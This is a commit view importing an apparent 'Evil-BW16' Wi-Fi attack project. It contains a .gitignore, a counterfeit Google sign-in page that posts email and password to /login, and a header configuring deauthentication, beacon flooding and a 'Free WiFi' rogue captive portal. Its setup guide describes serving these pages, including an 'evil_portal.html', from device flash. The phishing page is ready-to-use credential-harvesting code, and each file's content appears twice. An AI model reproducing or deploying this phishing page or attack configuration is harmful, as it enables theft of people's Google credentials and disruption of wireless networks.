chore: import local project into Gitea

This commit is contained in:
2026-05-20 10:03:51 -07:00
parent 25b38b0a3b
commit 3c4d2b42d3
4 changed files with 290 additions and 260 deletions

30
.gitignore vendored Normal file
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# OS / tooling
.DS_Store
Thumbs.db
# Editors
.cursor/
# Secrets
.env
.env.*
!.env.example
!.env.template
# Python
__pycache__/
*.py[cod]
.venv/
venv/
# Node / frontend
node_modules/
dist/
# Typical embedded / tooling noise
*.log
# Builds (adjust per subtree if needed)
**/build/.ninja_deps
**/build/.ninja_log

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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign in - Google Accounts</title>
<style>
body { font-family: Arial, sans-serif; background: #f1f1f1; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
.container { background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); width: 300px; }
.logo { text-align: center; margin-bottom: 20px; }
.logo img { width: 100px; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
button { width: 100%; padding: 10px; background: #4285f4; color: white; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background: #357ae8; }
.footer { text-align: center; margin-top: 20px; font-size: 12px; color: #666; }
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" alt="Google">
</div>
<h2>Sign in</h2>
<p>Use your Google Account</p>
<form action="/login" method="POST">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
<div class="footer">
<a href="#">Forgot email?</a> | <a href="#">Create account</a>
</div>
</div>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign in - Google Accounts</title>
<style>
body { font-family: Arial, sans-serif; background: #f1f1f1; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
.container { background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); width: 300px; }
.logo { text-align: center; margin-bottom: 20px; }
.logo img { width: 100px; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
button { width: 100%; padding: 10px; background: #4285f4; color: white; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background: #357ae8; }
.footer { text-align: center; margin-top: 20px; font-size: 12px; color: #666; }
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" alt="Google">
</div>
<h2>Sign in</h2>
<p>Use your Google Account</p>
<form action="/login" method="POST">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
<div class="footer">
<a href="#">Forgot email?</a> | <a href="#">Create account</a>
</div>
</div>
</body>
</html>

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#pragma once
// BLE service + char UUIDs for Evil-BW16 network
#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC"
#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD"
#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE"
// BLE device role identifiers
#define ROLE_MASTER
// slaves omit the above define
// Web server credentials (master only)
#define AP_SSID "evilMaster"
#define AP_PASS "master"
// 5GHz Portal credentials
#define PORTAL_DEFAULT_SSID "Free WiFi"
#define PORTAL_IP "192.168.5.1"
// Maximum slaves to track
#define MAX_SLAVES 8
// BLE connection parameters for better reliability
#define BLE_SCAN_TIMEOUT_MS 10000
#define BLE_RECONNECT_INTERVAL_MS 30000
#define BLE_CONNECTION_TIMEOUT_MS 5000
// Attack coordination
#define ATTACK_SYNC_DELAY_MS 100
#define DEAUTH_FRAME_COUNT 5
#define BEACON_FLOOD_INTERVAL_MS 100
// Channel definitions
#define CHANNELS_2GHZ_COUNT 13
#define CHANNELS_5GHZ_COUNT 25
extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT];
extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT];
// Frame types for 802.11 attacks
#define FRAME_TYPE_BEACON 0x80
#define FRAME_TYPE_DEAUTH 0xC0
#define FRAME_TYPE_DISASSOC 0xA0
#define FRAME_TYPE_AUTH 0xB0
#define FRAME_TYPE_ASSOC_REQ 0x00
#define FRAME_TYPE_PROBE_REQ 0x40
#pragma once
// BLE service + char UUIDs for Evil-BW16 network
#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC"
#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD"
#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE"
// BLE device role identifiers
#define ROLE_MASTER
// slaves omit the above define
// Web server credentials (master only)
#define AP_SSID "evilMaster"
#define AP_PASS "master"
// 5GHz Portal credentials
#define PORTAL_DEFAULT_SSID "Free WiFi"
#define PORTAL_IP "192.168.5.1"
// Maximum slaves to track
#define MAX_SLAVES 8
// BLE connection parameters for better reliability
#define BLE_SCAN_TIMEOUT_MS 10000
#define BLE_RECONNECT_INTERVAL_MS 30000
#define BLE_CONNECTION_TIMEOUT_MS 5000
// Attack coordination
#define ATTACK_SYNC_DELAY_MS 100
#define DEAUTH_FRAME_COUNT 5
#define BEACON_FLOOD_INTERVAL_MS 100
// Channel definitions
#define CHANNELS_2GHZ_COUNT 13
#define CHANNELS_5GHZ_COUNT 25
extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT];
extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT];
// Frame types for 802.11 attacks
#define FRAME_TYPE_BEACON 0x80
#define FRAME_TYPE_DEAUTH 0xC0
#define FRAME_TYPE_DISASSOC 0xA0
#define FRAME_TYPE_AUTH 0xB0
#define FRAME_TYPE_ASSOC_REQ 0x00
#define FRAME_TYPE_PROBE_REQ 0x40

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# 📁 Filesystem Setup Guide for Evil-BW16
## 🎯 **Problem Solved**
The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving.
## 🔧 **Implementation Options**
### **Option 1: SPIFFS (SPI Flash File System) - Recommended**
#### **Step 1: Install SPIFFS Library**
```bash
# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS"
# Install "SPIFFS" by me-no-dev
```
#### **Step 2: Add SPIFFS Support to Master Firmware**
```cpp
#include <SPIFFS.h>
void setupFilesystem() {
if (!SPIFFS.begin(true)) {
addToLog("❌ SPIFFS initialization failed");
return;
}
addToLog("✅ SPIFFS initialized successfully");
// List files for debugging
File root = SPIFFS.open("/");
File file = root.openNextFile();
while (file) {
addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes");
file = root.openNextFile();
}
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
// Map web paths to filesystem paths
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
} else if (filename.startsWith("/css/")) {
filePath = "/web_ui" + filename;
} else if (filename.startsWith("/js/")) {
filePath = "/web_ui" + filename;
} else if (filename.startsWith("/img/")) {
filePath = "/web_ui" + filename;
}
File file = SPIFFS.open(filePath, "r");
if (!file) {
addToLog("❌ File not found: " + filePath);
return "";
}
String content = file.readString();
file.close();
addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)");
return content;
}
```
#### **Step 3: Upload Files to SPIFFS**
```bash
# Method 1: Arduino IDE SPIFFS Upload Tool
# 1. Install "ESP32 Sketch Data Upload" tool
# 2. Create 'data' folder in your sketch directory
# 3. Copy web_ui folder to data/
# 4. Tools > ESP32 Sketch Data Upload
# Method 2: Manual upload using esptool
esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin
```
### **Option 2: LittleFS (Alternative to SPIFFS)**
```cpp
#include <LittleFS.h>
void setupFilesystem() {
if (!LittleFS.begin()) {
addToLog("❌ LittleFS initialization failed");
return;
}
addToLog("✅ LittleFS initialized successfully");
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
}
File file = LittleFS.open(filePath, "r");
if (!file) {
return "";
}
String content = file.readString();
file.close();
return content;
}
```
### **Option 3: SD Card (External Storage)**
```cpp
#include <SD.h>
void setupFilesystem() {
if (!SD.begin(5)) { // CS pin 5
addToLog("❌ SD card initialization failed");
return;
}
addToLog("✅ SD card initialized successfully");
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
}
File file = SD.open(filePath, FILE_READ);
if (!file) {
return "";
}
String content = file.readString();
file.close();
return content;
}
```
## 📂 **File Structure**
```
data/
├── web_ui/
│ ├── index.html # Main web interface
│ ├── css/
│ │ └── style.css # Stylesheets
│ ├── js/
│ │ └── script.js # JavaScript
│ └── img/
│ └── logo.png # Images
└── portal/
└── evil_portal.html # Evil portal page
```
## 🚀 **Quick Start (Current Setup)**
Since you already have the web interface embedded in code, you can:
1. **Keep current setup** - Works immediately, no filesystem needed
2. **Migrate to filesystem** - Follow the steps above
3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks
## 🔄 **Migration Steps**
1. **Backup current setup**
2. **Choose filesystem option** (SPIFFS recommended)
3. **Update master firmware** with filesystem code
4. **Upload web files** to device
5. **Test and verify**
## 📋 **Current Status**
**Working**: Embedded web interface (current implementation)
🔄 **Available**: Filesystem serving (needs implementation)
📁 **Ready**: Your web interface files in `data/web_ui/`
## 🎯 **Recommendation**
For immediate use: **Keep current embedded setup** - it works perfectly!
For production: **Migrate to SPIFFS** for better maintainability.
# 📁 Filesystem Setup Guide for Evil-BW16
## 🎯 **Problem Solved**
The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving.
## 🔧 **Implementation Options**
### **Option 1: SPIFFS (SPI Flash File System) - Recommended**
#### **Step 1: Install SPIFFS Library**
```bash
# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS"
# Install "SPIFFS" by me-no-dev
```
#### **Step 2: Add SPIFFS Support to Master Firmware**
```cpp
#include <SPIFFS.h>
void setupFilesystem() {
if (!SPIFFS.begin(true)) {
addToLog("❌ SPIFFS initialization failed");
return;
}
addToLog("✅ SPIFFS initialized successfully");
// List files for debugging
File root = SPIFFS.open("/");
File file = root.openNextFile();
while (file) {
addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes");
file = root.openNextFile();
}
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
// Map web paths to filesystem paths
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
} else if (filename.startsWith("/css/")) {
filePath = "/web_ui" + filename;
} else if (filename.startsWith("/js/")) {
filePath = "/web_ui" + filename;
} else if (filename.startsWith("/img/")) {
filePath = "/web_ui" + filename;
}
File file = SPIFFS.open(filePath, "r");
if (!file) {
addToLog("❌ File not found: " + filePath);
return "";
}
String content = file.readString();
file.close();
addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)");
return content;
}
```
#### **Step 3: Upload Files to SPIFFS**
```bash
# Method 1: Arduino IDE SPIFFS Upload Tool
# 1. Install "ESP32 Sketch Data Upload" tool
# 2. Create 'data' folder in your sketch directory
# 3. Copy web_ui folder to data/
# 4. Tools > ESP32 Sketch Data Upload
# Method 2: Manual upload using esptool
esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin
```
### **Option 2: LittleFS (Alternative to SPIFFS)**
```cpp
#include <LittleFS.h>
void setupFilesystem() {
if (!LittleFS.begin()) {
addToLog("❌ LittleFS initialization failed");
return;
}
addToLog("✅ LittleFS initialized successfully");
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
}
File file = LittleFS.open(filePath, "r");
if (!file) {
return "";
}
String content = file.readString();
file.close();
return content;
}
```
### **Option 3: SD Card (External Storage)**
```cpp
#include <SD.h>
void setupFilesystem() {
if (!SD.begin(5)) { // CS pin 5
addToLog("❌ SD card initialization failed");
return;
}
addToLog("✅ SD card initialized successfully");
}
String loadFromFilesystem(const String &filename) {
String filePath = filename;
if (filename == "/" || filename == "/index.html") {
filePath = "/web_ui/index.html";
}
File file = SD.open(filePath, FILE_READ);
if (!file) {
return "";
}
String content = file.readString();
file.close();
return content;
}
```
## 📂 **File Structure**
```
data/
├── web_ui/
│ ├── index.html # Main web interface
│ ├── css/
│ │ └── style.css # Stylesheets
│ ├── js/
│ │ └── script.js # JavaScript
│ └── img/
│ └── logo.png # Images
└── portal/
└── evil_portal.html # Evil portal page
```
## 🚀 **Quick Start (Current Setup)**
Since you already have the web interface embedded in code, you can:
1. **Keep current setup** - Works immediately, no filesystem needed
2. **Migrate to filesystem** - Follow the steps above
3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks
## 🔄 **Migration Steps**
1. **Backup current setup**
2. **Choose filesystem option** (SPIFFS recommended)
3. **Update master firmware** with filesystem code
4. **Upload web files** to device
5. **Test and verify**
## 📋 **Current Status**
**Working**: Embedded web interface (current implementation)
🔄 **Available**: Filesystem serving (needs implementation)
📁 **Ready**: Your web interface files in `data/web_ui/`
## 🎯 **Recommendation**
For immediate use: **Keep current embedded setup** - it works perfectly!
For production: **Migrate to SPIFFS** for better maintainability.
Your web interface is already 10x enhanced and fully functional!